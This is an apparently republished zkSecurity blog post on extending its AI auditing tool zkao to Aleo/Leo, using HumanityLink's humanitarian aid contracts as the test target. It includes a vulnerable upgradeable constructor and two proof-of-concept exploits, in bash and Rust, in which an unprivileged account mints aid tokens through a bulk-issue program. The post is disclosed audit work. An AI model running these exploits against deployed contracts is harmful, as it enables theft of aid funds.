{"slug": "bringing-aleo-and-leo-into-zkao", "title": "Bringing Aleo and Leo into zkao", "summary": "ZkSecurity integrated the Leo programming language and Aleo program ecosystem into its AI bug detection tool zkao, collaborating with HumanityLink as a live test target and reporting findings back to them. HumanityLink is part of a blockchain initiative by Mercy Corps Ventures, Aleo, HumanityLink, and the Danish Refugee Council deploying privacy-preserving stablecoin payments for displaced people in Colombia. The integration improved zkao's ability to detect vulnerabilities, such as a missing ownership check in HumanityLink's Leo contract that was initially overlooked.", "body_md": "zkSecurity just completed a new integration of the Leo programming language and the Aleo program ecosystem into our new AI bug detection tool, [zkao](https://zkao.io/). During this integration, we also collaborated with [HumanityLink](https://humanity.link/), whose system served as a live test target, and we reported all of our findings back to them. The full report can be accessed on our [audit reports page](https://reports.zksecurity.xyz/reports/humanitylink-1/).\n\nHumanityLink is part of a first-of-its-kind blockchain initiative by **Mercy Corps Ventures**, in partnership with **Aleo**, **HumanityLink**, and the **Danish Refugee Council**, deploying privacy-preserving stablecoin payments to protect the privacy, safety, and dignity of displaced people and migrants receiving humanitarian cash assistance in Colombia.\n\nThe audit and our live test target for zkao integration was [Enable ZK](https://enable-zk.humanity.link/en), HumanityLink's aid-distribution system: recipients receive and spend aid while their eligibility is verified through zero-knowledge proofs, confirming aid on-chain without exposing who they are or where they shop.\n\nAt the end of this post, we also highlight some important key takeaways we learned during this engagement, which apply to AI-assisted auditing, or LLMs in general.\n\n## High-level workflow\n\nAs we described in the report, we used the following workflow at a high level:\n\n-\nRun an initial scan with zkao using the latest model and the baseline skill.\n\n-\nValidate and triage zkao's findings while, in parallel, manually reviewing the codebase to identify bugs independently.\n\n-\nTeach zkao to find these bugs through different techniques like skills, evals, prompt engineering, context engineering, or additional tooling (in this post we will see this additional tooling specifically).\n\n-\nRepeat this process iteratively.\n\nThis workflow lets us iteratively improve zkao's capabilities on the Aleo/Leo codebase by integrating our human audit knowledge back into zkao's flow. More specifically, it augments both the bugfinding and triaging capabilities of zkao, which we outline in more detail below.\n\n## Integrating the Aleo/Leo bugfinder\n\nAs the Aleo ecosystem continues to mature, there's an opportunity to enrich the Aleo and Leo knowledge that the models can draw on. So, we created an Aleo and Leo auditing flow, skill, and prompt guidance that provides the following four major knowledge components:\n\n**Leo language cheat sheet**: the security relevant parts of the language, from the proof/finalize split to upgradability, dynamic dispatch, and protocol limits.**Aleo Instructions reference**: the lower level AVM representation deployed on-chain, where compiler mismatches and syntax-hidden bugs surface.** snarkVM design-gotchas reference**: platform guarantees and pitfalls: consensus versioning, the privacy model, and value conservation.** Catalog of Aleo and Leo bug patterns**: recurring vulnerability classes from the literature and our own audits.\n\nTo showcase the impact, take one example from the HumanityLink codebase, whose Leo contract contained the following vulnerable snippet:\n\n```\n@custom\nconstructor() {\n    Mapping::set(admin_address, 0u8, self.program_owner);\n    Mapping::set(flags, 0u8, false);\n    Mapping::set(clocks, 0u8, 17280u32);   // ~24h default\n    Mapping::set(limits, 0u8, 6_000_000u64); // $6.00 minimum merchant offramp\n}\n```\n\nThe issue was obvious at first glance: the program constructor uses the [@custom](https://docs.leo-lang.org/guides/upgradability#getting-started-the-upgrade-policy) annotation but doesn't assert any ownership check, which allows the program to be upgraded by anyone.\n\nHowever, before the integration, the zkao scan (and vanilla LLMs 1) overlooked this issue completely, despite it being very trivial.\n\nSince we found it manually through our human review, we added this bug-pattern knowledge into zkao's workflow and ran another zkao scan to see whether the scan is catching the bug, so the agent consistently finds the issue in subsequent runs.\n\nIt is worth noting that this oversight only happens for behavior specific to the nature of the DSL. More general bugs (as shown in the next section) are caught even before integration, showing that zkao finds them on its own.\n\n## Integrating automated triage\n\nDetecting a bug is only half the job. We also need a way to confirm whether a finding is valid or not. In zkao, this is usually done through the Proof-of-Concept (PoC) creation mechanism, which confirms a finding's validity (and is also convincing to the human who reviews it later).\n\nA simple bug can be demonstrated with `leo test`\n\n2, but a bug that requires deployment behavior (like our example above), multi account interaction, persisted chain state, transaction ordering, record handling, or program/dependency resolution requires an end-to-end test with a local devnet.\n\nHowever, creating that kind of executable end-to-end PoC in the Aleo ecosystem is quite cumbersome, since we need to set up a local devnet, create and fund an account, and then produce a zk-proof to complete the transaction, which is time consuming as well.\n\nTo solve this, we built an internal harness tool called **cheatVM**: a small Rust library with a cheatcode enabled execution harness for Aleo, conceptually the equivalent of Foundry for the Aleo ecosystem. This tool allows us to orchestrate the entire end-to-end flow of an Aleo transaction within a single Rust test.\n\nConsider the finding [Missing authorization checks in bulk_issue_8 / bulk_issue_15](https://reports.zksecurity.xyz/reports/humanitylink-1/#finding-H-bulk-issue-permissionless-drain) from the HumanityLink report as an example.\n\nWithout any integration, the zkao scan found this bug and produced the following PoC in bash:\n\n``` bash\n#!/usr/bin/env bash\nset -euo pipefail\ncd /repo\nexport PATH=\"/repo/.foundry/bin:/repo/.aleo/bin:$PATH\"\nexport FOUNDRY_DIR=/repo/.foundry\n\nAID=/repo/leo/v9/build/main.aleo\nBULK=/repo/leo/v9bulk/build/main.aleo\nADDR='aleo1kypwp5m7qtk9mwazgcpg0tq8aal23mnrvwfvug65qgcg9xvsrqgspyjm6n'\nREC=\"{ addr: ${ADDR}, amount: 1u64 }\"\n\n# Compile both programs from source; this also regenerates the bytecode inspected below.\ncd /repo/leo/v9 && /repo/.aleo/bin/leo4 build --offline --home /repo/.aleo --disable-update-check >/tmp/triage_bulk_v9_build.log 2>&1\ncd /repo/leo/v9bulk && /repo/.aleo/bin/leo4 build --offline --home /repo/.aleo --disable-update-check >/tmp/triage_bulk_v9bulk_build.log 2>&1\n\n# Prove the compiled authorization target: issue_aid forwards self.caller into its finalize step\n# and checks authorized_issuers at that forwarded address.\ngrep -q 'async issue_aid r6 self.caller r7 into' \"$AID\"\ngrep -q 'get.or_use authorized_issuers[r1] false into' \"$AID\"\n\n# Prove the compiled bulk wrapper directly calls issue_aid and has no signer/admin authorization\n# before those calls.\ngrep -q 'call humanity_link_aid_v9d.aleo/issue_aid r0.addr r0.amount into' \"$BULK\"\nif awk '/function bulk_issue_8:/,/finalize bulk_issue_8:/' \"$BULK\" | grep -Eq 'self\\.signer|admin__|authorized_issuers'; then\n  echo 'Unexpected bulk authorization guard found' >&2\n  exit 1\nfi\n\n# Run bulk_issue_8 as the Leo CLI default unprivileged key. The transition accepts attacker-chosen\n# recipients and produces eight Token records plus a future containing eight issue_aid calls. On-chain\n# finalization will pass whenever authorized_issuers[humanity_link_bulk_v9d.aleo] is true.\ncd /repo/leo/v9bulk\n/repo/.aleo/bin/leo4 run bulk_issue_8 \"$REC\" \"$REC\" \"$REC\" \"$REC\" \"$REC\" \"$REC\" \"$REC\" \"$REC\" \\\n  --offline --home /repo/.aleo --disable-update-check --with ../v9/build/main.aleo 2>&1 | tee /tmp/triage_bulk_open_issuer_output.log >/dev/null\n\nTOKENS=$(grep -c '_version: 1u8.public' /tmp/triage_bulk_open_issuer_output.log)\nINNER_CALLS=$(grep -c 'function_name: issue_aid' /tmp/triage_bulk_open_issuer_output.log)\nprintf 'compiled_guard=authorized_issuers[self.caller]\\n'\nprintf 'bulk_wrapper_auth_guard=absent\\n'\nprintf 'token_records_emitted=%s\\n' \"$TOKENS\"\nprintf 'inner_issue_aid_calls=%s\\n' \"$INNER_CALLS\"\nprintf 'security_consequence=if the bulk program is authorized as an issuer, any signer can mint these token records to chosen recipients\\n'\ntest \"$TOKENS\" -eq 8\ntest \"$INNER_CALLS\" -eq 8\n```\n\nAs we can see, the PoC mostly proves that the vulnerability exists by inspecting the compiled Aleo instructions from the bytecode, which shows nothing more than the existing Leo code if we assume the Leo compiler works correctly. Also note that although it does run the function in the end, it doesn't prove the actual transition/finalization on the block.\n\nNow compare this with the post-integration cheatVM run, which produces the following PoC that proves the vulnerability end-to-end in a single Rust test:\n\n``` js\nuse anyhow::Result;\nuse cheatvm::Harness;\nuse std::path::Path;\n\nconst CORE: &str = \"humanity_link_aid_v9d.aleo\";\nconst BULK: &str = \"humanity_link_bulk_v9d.aleo\";\nconst STABLECOIN: &str = \"test_usdcx_stablecoin.aleo\";\n\n#[test]\nfn unapproved_signer_can_issue_aid_through_authorized_bulk_program() -> Result<()> {\n    let mut h = Harness::new()?;\n    h.deploy_project(Path::new(env!(\"CARGO_MANIFEST_DIR\")).join(\"../leo/v9bulk\"))?;\n\n    let attacker = h.new_account()?;\n    let core_address = h.program_address(CORE)?;\n    let bulk_address = h.program_address(BULK)?;\n\n    h.cheats()\n        .set_mapping(STABLECOIN, \"pause\", \"true\", \"false\")?;\n    h.cheats().set_mapping(\n        STABLECOIN,\n        \"balances\",\n        &core_address.to_string(),\n        \"8000000u128\",\n    )?;\n    h.cheats().set_mapping(\n        CORE,\n        \"authorized_issuers\",\n        &bulk_address.to_string(),\n        \"true\",\n    )?;\n\n    // Negative control: even if the attacker has their own USDCx, a direct\n    // issue_aid call is rejected because the attacker is not an authorized issuer.\n    h.cheats().set_mapping(\n        STABLECOIN,\n        \"balances\",\n        &attacker.address.to_string(),\n        \"1000000u128\",\n    )?;\n    h.execute(\n        &attacker,\n        CORE,\n        \"issue_aid\",\n        &[attacker.address.to_string(), \"1u64\".to_string()],\n    )?\n    .expect_rejected();\n    assert_eq!(h.get_u128(CORE, \"total_issued\", \"0u8\")?.unwrap_or(0), 0);\n\n    // Exploit: the same unapproved signer calls the bulk companion. Inside\n    // humanity_link_aid_v9d.aleo::issue_aid, self.caller is the bulk program\n    // address, not the attacker signer, so the issuer check passes.\n    let inputs = vec![\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n        recipient(&attacker, 1_000_000),\n    ];\n\n    let issued = h.execute(&attacker, BULK, \"bulk_issue_8\", &inputs)?;\n    issued.expect_finalized();\n\n    assert_eq!(h.get_u128(CORE, \"total_issued\", \"0u8\")?, Some(8_000_000));\n    assert_eq!(\n        h.get_u128(STABLECOIN, \"balances\", &core_address.to_string())?,\n        Some(0)\n    );\n\n    Ok(())\n}\n\nfn recipient(account: &cheatvm::Account, amount: u64) -> String {\n    format!(\"{{addr: {}, amount: {amount}u64}}\", account.address)\n}\n```\n\nThis simple and easy-to-read Rust test is not only useful for humans, but also for the zkao agent to automatically triage its findings.\n\n## Filtering noisy results\n\nBefore wrapping up the integration, there was one more thing left to tackle: **false positives**. Across our aggregated scans, we found **14 false positives out of 33 total findings**, with the following breakdown:\n\n**Not in the threat model:** 8**Incorrect assumption about the spec/code:** 4**Out of scope:** 1**Intended design:** 1\n\nAs the stats show, most of the false positives came from unclear threat modeling, which is understandable, since HumanityLink relaxes its trust boundaries and applies privacy only to the beneficiaries (see the [full report](https://reports.zksecurity.xyz/reports/humanitylink-1/#threat-model-and-security-assumptions) for the detailed threat model and security assumptions).\n\nWe figured this was a project specific problem rather than something we could generalize into zkao. Instead, zkao lets the user supply their own configuration as initial context (`zkao.md`\n\n) to set a clear scope, threat model, and severity preference. After supplying a well defined `zkao.md`\n\n, we ran the scan again, and **the false positives dropped to just 2**.\n\n## Key takeaways\n\nThe main takeaway from this is: **vibe auditing alone isn't enough**. An LLM is a powerful accelerant, but it still needs a domain expert to guide it and verify its work. More specifically:\n\n**AI can overlook low hanging fruit issues.** The previous example shows us that an unskilled agent can miss a simple bug, so it certainly can't be fully trusted to catch the subtle ones on its own.**Without the right tooling, AI-generated PoCs aren't realistic.** If the agent doesn't have access to quick and easy tools, it will mostly just create \"tautological\" or non-adversarial code that doesn't represent the actual end-to-end scenario.**Without threat modeling, AI can generate a lot of false positives.** Unclear threat modeling and trust boundaries can cause the model to misjudge the impact of a finding and generate false positives.\n\n## What's next\n\nThere are still many more languages and systems to bring into zkao. Beyond Aleo, zkao already works across many common languages and most zero-knowledge DSLs, including Circom, gnark, Jellyfish, and Plonky3 AIR.\n\nWant your specific system integrated into zkao? [Let's get in touch!](mailto:zkao@zksecurity.xyz)", "url": "https://wpnews.pro/news/bringing-aleo-and-leo-into-zkao", "canonical_source": "https://blog.zksecurity.xyz/posts/zkao-aleo-integration/", "published_at": "2026-07-20 00:00:00+00:00", "updated_at": "2026-07-20 13:23:57.681070+00:00", "lang": "en", "topics": ["ai-tools", "ai-research", "ai-safety"], "entities": ["zkSecurity", "Aleo", "Leo", "zkao", "HumanityLink", "Mercy Corps Ventures", "Danish Refugee Council", "Enable ZK"], "alternates": {"html": "https://wpnews.pro/news/bringing-aleo-and-leo-into-zkao", "markdown": "https://wpnews.pro/news/bringing-aleo-and-leo-into-zkao.md", "text": "https://wpnews.pro/news/bringing-aleo-and-leo-into-zkao.txt", "jsonld": "https://wpnews.pro/news/bringing-aleo-and-leo-into-zkao.jsonld"}}